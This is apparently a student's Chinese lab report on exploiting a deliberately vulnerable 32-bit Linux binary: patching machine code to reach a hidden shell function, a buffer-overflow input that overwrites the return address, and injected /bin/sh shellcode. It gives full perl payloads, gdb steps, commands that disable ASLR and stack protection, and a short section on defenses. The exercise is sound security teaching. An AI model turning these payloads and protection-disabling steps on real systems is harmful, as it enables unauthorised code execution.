2020-2021-2 20181312 【网络对抗技术】 Exp1 PC平台逆向破解
Exp1 PC平台逆向破解
序言
这次实验使用的实验对象是一个名为pwn1(pwn1
的下载链接)的linux
可执行文件,按照实验要求,我们需要将文件名中的1
替换为学号。
我们可以通过file
命令查看文件格式。
file pwn20181312
可以看到它是一个ELF
格式的32
位可执行文件,系统架构是Intel
的80386
。
pwn20181312: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped
但是显然这样的信息还不够,我们需要了解一些更重要的数据来认识这个可执行文件,这个时候我们可以使用readelf
命令来读出整个ELF文件头的内容。
readelf -h pwn20181312
如图所示,我们可以看到这是一个小端文件,这是一个实验过程中会用到的重要信息。
小端,是指数据的高字节保存在内存的高地址中,而数据的低字节保存在内存的低地址中。
该程序正常执行流程是:main
函数调用foo
函数,foo
函数会简单回显任何用户输入的字符串。
但是,该程序同时包含另一个代码片段getShell
函数,它会返回一个可用Shell
。正常情况下这个代码是不会被运行的。
我们的目标就是想办法运行这个getShell
代码片段。本次实验中需要学会两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode
。
本次实验还需要一点点的汇编语言知识,汇编有两种写法:8086
汇编和AT&T
汇编。
8086
是我们常看到的,在网上大部查到的也是,其中MOV
指令是从右到左。AT&T
中的MOV
指令是从左到右。如果汇编里有%
, 像%ebp
,就是AT&T
汇编语言,也就是我们这次实验用的。
一、实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到
getShell
函数。 - 利用
foo
函数的Bof
漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell
函数。 - 注入一个自己制作的
shellcode
并运行这段shellcode
。
二、一些需要掌握的知识
2.1 NOP
,JNE
,JE
,JMP
,CMP
汇编指令的机器码
指令 | 机器码 | 作用 |
---|---|---|
NOP |
0x90 |
no operation ,使程序计数器PC 加1 ,cpu 继续执行其后一条指令 |
JNE |
0x75 |
若不相等则转移 |
JE |
0x74 |
零/等于 |
JMP |
0xE9 |
无条件转移 |
CMP |
0x3B |
compare 指令进行比较两个操作数的大小 |
2.2 反汇编与十六进制编辑器
2.2.1 反汇编
指令是objdump
,我们可以使用man objdump
查看功能
2.2.2 十六进制编辑器
在vim
中输入:%!xxd
即可编辑器中将内容以十六进制的形式显示
修改完后,输入:%!xxd -r
即可将上述转化为十六进制的信息转换回二进制显示
2.3 能正确修改机器指令改变程序执行流程
即实验过程的第一部分3.1
2.4 能正确构造payload
进行bof
攻击
即实验过程的第三部分3.3
三、实验过程
3.1 直接修改程序机器指令,改变程序执行流程
3.1.1 对目标文件反汇编
objdump -d pwn20181312 | more
找到其中关键的函数getShell
、foo
和main
注意到在main
函数中有这样一条指令call 8048491 <foo>
,它用于调用foo
函数,foo
的地址是08048491
,我们只要将其修改为getShell
的地址0804847d
就成功了,但是我们不能直接修改这个汇编代码,只能通过修改机器码实现汇编代码相应的改动。
3.1.2 计算需要修改的机器码
call
指令的机器码是e8
,由于是小端序,其后的d7ffffff
实际上是ffffffd7
,它是-41
的补码,而41
就是0x29
,80484ba
+ffffffd7
=80484ba
-29
=8048491
,也就是foo
的地址。
接下来,只要计算出getShell
和main
地址偏移量对应的补码就能对call指令的机器码做出相应的改动了。
80484ba
-804847d
=3d
,0x3d
是61
,-61
的补码是11000011
,也就是c3
,其余高位补全f
,因此,我们只要将main
函数中call
指令的机器码e8 d7 ff ff ff
修改为e8 c3 ff ff ff
就能实现目标。
3.1.3 修改机器码
先对原始文件做一次备份再开始修改
cp pwn20181312 pwn20181312.bak
vim pwn20181312
可以看到该二进制文件是一串乱码
输入:%!xxd
,使之以十六进制显示,并输入/d7ff ffff
搜索该字符。
按下Enter
将光标停在此处,将d7
修改为c3
即可。
输入:%!xxd -r
将十六进制转换为原格式,输入:wq
保存退出。
3.1.4 验证修改是否有效
反汇编查看文件
objdump -d pwn20181312 | more
可以看到main
函数中call
指令的机器码已经被修改为e8 c3 ff ff ff
。
输入./pwn20181312
运行pwn20181312
,发现它成功唤起了一个终端,同样的在这个终端中运行pwn20181312.bak
,可以发现它还是最初回显输入字符串的功能。
修改成功!
3.2 通过构造输入参数,造成BOF
攻击,改变程序执行流
首先使用备份文件恢复原始文件
cp pwn20181312.bak pwn20181312
3.2.1 对原始文件反汇编,了解程序基本功能
objdump -d pwn20181312 | more
可以看到
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
这个可执行文件正常运行是main
函数调用foo
函数,然鹅该函数存在Bufferoverflow
的漏洞,于是我们可以利用这个漏洞,取消原本正常执行的foo
函数回显输入字符串的功能,触发原本不能执行的getShell
函数。
于是,我们首先可以观察foo
函数。
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
注意到,其中一句lea -0x1c(%ebp),%eax
,这句话表示系统预留了0x1c
字节,亦即28
字节的缓冲区,若输入超过28
字节,超出部分就会发生溢出,我们的目标是让溢出部分覆盖返回地址,并使覆盖返回地址的机器码恰好是getShell
函数的地址。
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
main
函数中有一句call 8048491 <foo>
,这句call
指令调用foo
函数,会先将下一句指令地址80484ba
存在EIP
寄存器并压入堆栈,再跳转到foo
函数的地址。此时堆栈上就有了返回地址80484ba
。
3.2.2 输入可辨识的字符串,确认哪几位字符可以恰好覆盖到返回地址
直接进入程序调试
gdb ./pwn20181312
如图所示,第一个箭头的指向为我的输入,红框和第二个箭头指向为返回地址0x38373635
,转换为十进制即为8765
,也就是我的输入11112222333344445555666677771234567890
中的5678
这四位数,这说明输入内容的第33
位至第36
位会覆盖返回地址。
当程序遇到这个被覆盖的返回地址,CPU会尝试执行这个位置的代码,进而发现并没有东西,所以产生Segmentation fault
——段错误。只要我们把这四个字符替换为getShell
的内存地址,输入给程序,程序就会运行getShell
函数。
3.2.3 确认覆盖返回地址的内容
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
在这里可以看到getShell
的地址是0804847d
由于程序是小端序,所以输入为11112222333344445555666677771234\x7d\x84\x04\x08
即可。
3.2.4 构造输入字符串
像\x7d\x84\x04\x08
这样的十六进制符号是无法直接通过键盘输入的,因为直接输入会被读取为16
个字符,为此我们需要先生成一个包含这串字符的文件,以文件代替直接输入。
perl -e 'print "11112222333344445555666677771234\x7d\x84\x04\x08\x0a"' > input
这句话用输出重定向把
perl
生成的字符串存储到input
文件中
可以看到新出现了一个input
文件。
使用十六进制xxd
查看指令查看input
文件,可以看到文件内容正如预期的一样。
xxd input
然后我们可以通过管道符|
将input
作为pwn20181312
的输入
(cat input; cat) | ./pwn20181312
可以发现我们成功打开了终端。
当然,如果要省去重定向步骤也是可以的。
3.3 注入Shellcode
并执行
3.3.1 准备好的shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
3.3.2 准备工作
下载安装prelink
,否则无法使用execstack
命令
放入kali
解压,进入prelink
文件夹打开终端
sudo apt install libelf-dev
./configure
make
sudo make install
安装成功后,即可开始修改一些pwn20181312
的设置
execstack -s pwn20181312 //设置堆栈可执行
execstack -q pwn20181312 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启,显示2则表示目前是开启状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,需要启动最高权限
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启,显示0则表示目前是关闭状态
3.3.3 构造要注入的payload
首先,我们要知道在Linux
下有两种方式构造攻击buf
的方法
retaddr
+nop
+shellcode
nop
+shellcode
+retaddr
由于返回地址retaddr
在缓冲区中的位置是固定的,shellcode
要么在它前面要么在它后面,如果缓冲区小,就把shellcode
放后边,如果缓冲区大就把shellcode
放前边。
nop
指令在汇编中是空指令,什么事也不做但占用一个时钟周期,其作用便是填充和缓冲,只要EIP
寄存器所存的返回地址所指向的位置能够落在被nop
指令覆盖的地方,那么nop
后的真正的shellcode
就能无条件地被执行。
3.3.3.1 第一次构造
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
输入如上命令构造输入字符串重定向至input_shellcode
文件,其中\x4\x3\x2\x1
将覆盖到栈上返回地址的位置,它需要被修改为这段shellcode
的地址。构造的字符串最后一位不能像之前一样是\x0a
,这是因为我们之后需要使函数运行中途停下并使用gdb
确定该函数运行过程中各寄存器所存地址,如果有回车符则函数无法在运行中途停下。
下面我们来确定\x4\x3\x2\x1
应该是什么。
(cat input_shellcode;cat) | ./pwn20181312
如图所示,函数输入由于没有收到回车符,所以停在了这里,我们便可以打开另一个终端查询该进程进行调试。
ps aux | grep pwn20181312
由此可知./pwn20181312
的进程号是8131
,启动gdb
调试这个程序。
gdb
attach 8131
由于我之前是在root
用户下执行这个程序的,所以现在调试它也需要进入root
用户。
disassemble foo
ret
指令返回之前的EIP
寄存器所存值对应的地址,如果我们在这行设置断点,则当运行停在断点时,注入内容已存入了栈上,此时再运行,则将会跳转到我们所修改的那个地址上去。
break *0x080484ae
设置好断点后在另一个终端按下回车使程序继续执行,回到这个终端输入
c
可以看到另一个终端显示
回到gdb
info r esp
根据显示的ESP
的值0xffffd52c
,可以输入
x/16x 0xffffd52c
顺利找到0x01020304
,可以顺势向前寻找,地址减去28
字节
x/16x 0xffffd510
看到0xc0319090
了,再向前4
个字节即可
x/16x 0xffffd50c
看到0x90909090
,找到shellcode
的起始地址0xffffd50c
继续运行程序
c
由此可知,程序的返回地址占位也是正确的,退出gdb
即可。
为节约shellcode
所占空间,我们可以将返回地址修改为0xffffd510
而不是0xffffd50c
。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd5\xff\xff\x00"' > input_shellcode
再次运行
(cat input_shellcode;cat) | ./pwn20181312
发现仍然没有成功!
3.3.3.2 寻找失败原因
跟之前一样,这里使用gdb
寻找失败原因
运行程序后输入
ps aux | grep pwn20181312
查找进程号
启动gdb
gdb
attach 8426
break *0x080484ae
//先去另一个终端按下回车
c
info r
ESP
和EIP
都是正确的地址。
x/16x 0xffffd510
这里的buf
看起来也没有问题。
接下来进行单步调试,可以对照如下shellcode
的汇编查看
//si是step instruction的简写,表示运行一条指令
si
一直运行si
,直到出现Segmentation fault
前两个si
运行的是nop
指令,第三个si
运行的是xor %eax,%eax
,所以出问题的是第九个si
,它运行的是push %eax
,因为在那之后的第十个si
的push %ebx
就出现了段错误,说明在push %eax
之后的下一条指令的代码的地址不正确了。
info r
这里原先ESP
指针应该在0xffffd524
,EAX
被push
之后放在栈顶,栈顶指针向上移动,此时的栈顶指针ESP
所存值是0xffffd520
,但是EIP
指针指示的当前代码的地址是0xffffd522
,于是显而易见,栈顶指针的增长使得当前代码及之后的部分的shellcode
的指令覆盖掉了,所以无法继续执行了。
通俗地说,shellcode
的代码是从低地址向高地址增长的,函数栈是从高地址向低地址增长的,函数栈增长的过程中将shellcode
的内容覆盖了。
3.3.3.3 第二次构造
这一次我们使用的结构为:anything
+retaddr
+nops
+shellcode
之前通过x/16x 0xffffd52c
查看了返回地址
于是可知shellcode
的地址是0xffffd530
,可以构造
perl -e 'print "A" x 32;print "\x30\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
xxd input_shellcode
(cat input_shellcode;cat) | ./pwn20181312
成功了!
3.3.4 结合nc
模拟远程攻击
在同一主机上进行模拟攻击
首先是在主机1
上模拟一个有漏洞的网络服务
nc -l 127.0.0.1 -p 28234 -e ./pwn20181312
//-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
然后是在主机2
上连接主机1
并发送攻击载荷
(cat input_shellcode; cat) | nc 127.0.0.1 28234
ls
但是发现并不成功
在主机2
输入ls
后,主机1
报出了如下错误
zsh: illegal hardware instruction nc -l -p 28234 -e ./pwn20181312
先是想着可能是因为端口28324
没有被打开
lsof -i:28324
发现端口确实没有被打开,于是打开端口重新测试
nc -lp 28234 & //打开28234端口
netstat -an | grep 28234 //查看28234端口是否被打开
似乎成功了。
但是可惜仍然没有成功,且下图所示情景也只出现了一回,之后重复尝试再也没有出现过。
3.3.5 尝试复现准备好的shellcode
在3.3.1
中直接给出现成的shellcode
,并没有介绍它是怎么来的,目前只知道它是在32
位的Linux
环境下通过静态编译源代码得到的,同时对生成的可执行文件关闭了堆栈保护和堆栈执行保护,关闭了地址随机化。
源代码可能如下:
#include <unistd.h>
#include <stdlib.h>
char *buf[]={"/bin/sh",NULL};
void main()
{
execve("/bin/sh",buf,0);
exit(0);
}
我尝试着复现shellcode
的生成,却发现似乎无论如何都无成功了。
gcc -static -m32 shellcode.c -o shellcode
此时若报错缺少sys/cdefs.h
这样的头文件,可在参考资料中寻求帮助。
随后对得到的可执行文件反编译
objdump -d shellcode | more
在<_start>
这个模块中却得到了如此长的机器码,与老师给出的有很大出入。
我猜想很大的可能是因为我的电脑不是32
位电脑,以至于无法复现3.3.1
所给出的机器码。
3.4 Bof
攻击防御技术
3.4.1 防止注入
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof
攻击发生。
3.4.2 即使注入了也不可运行
结合CPU的页面管理机制,通过DEP/NX
来将堆栈内存区设置为不可执行。这样即使是注入的shellcode
到堆栈上,也执行不了。
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
我们可以通过如上命令将堆栈设置为可执行。
3.4.3 增加shellcode
构造难度
我们构造shellcode
需要猜测返回地址位置,需要猜测shellcode
注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS
放置到固定的内存地址。ALSR
,地址随机化就是让OS
每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都无效了。
我们使用/proc/sys/kernel/randomize_va_space
来控制Linux
下内存地址随机化机制address space layout randomization
,它有三种情况
0
:关闭进程地址空间随机化1
:表示将mmap
的基址,stack
和vdso
页面随机化2
:表示在1
的基础上增加堆heap
的随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,需要启动最高权限
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启,显示0则表示目前是关闭状态
3.4.4 代码管理
加强编码质量
注意边界检测
使用最新的安全库函数
3.4.5 目前的64
位系统
目前大多数电脑都是64
位系统,这对于Bof
攻击的影响非常大。基本先天免疫,其中一个原因是地址空间大,每个地址都有大量00
,无法有效注入。
可以参考x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique.pdf(这是一个PDF
下载链接)。
四、实验收获与感想
通过这一次逆向破解实验和时间跨度长达十五个小时多的博客撰写过程,我体会到了解决问题和深究其中原因的乐趣。在这一次实验中,我学会了许许多多的之前从未接触过或是接触过但不够熟练的知识,比如研究可执行文件和所用到的反汇编指令objdump
、学了一点汇编语言中最最基础的内容、学会了如何为程序输入十六进制字符、学会构造简单的shellcode
、结合上学期学的《深入理解计算机系统》和上上学期学的《计算机组成原理》再一次深入理解了程序在计算机底层的运行机理;除了老师讲解的部分,我还增加了比如3.3.3.2
、3.3.5
两小节中额外的分析。总之,这次实验收获很大。
五、一些需要回答的问题
5.1 什么是漏洞?
漏洞是计算机体系或安全策略中存在的缺陷,它的存在能使攻击者能够在未授权的情况下访问或破坏系统。
5.2 漏洞有什么危害?
常见的漏洞有SQL
注入漏洞、XSS
跨站脚本漏洞、信息泄露漏洞等。
-
SQL
注入漏洞的危害:可以使数据库中存储的用户信息泄露、可以通过操作数据库对特定网页进行篡改、可以篡改管理员用户达到不可告人的目的。 -
XSS
跨站脚本漏洞的危害:可以发起钓鱼攻击、网站挂马、获取用户Cookie
并利用它得到网站操作权限、发送垃圾信息、监视用户在web
上的行为 -
信息泄露漏洞的危害:内网
ip
的泄露可能会使攻击者进入内网、数据库信息的泄露会让攻击者知道数据库类型从而降低攻击难度、网站调试信息泄露可以让攻击者知道网站使用的编程语言和使用的框架、帐号密码文件的泄漏可能导致攻击者直接操作网站后台或数据库、源码文件的泄露可能会让攻击者从源码中分析出更多其它的漏洞。
六、参考资料
- 在使用
gcc -static -m32
编译文件时报错/usr/include/features.h:461:12: fatal error: sys/cdefs.h
,显示缺少sys/cdefs.h
这样的头文件,可以参考这个博客。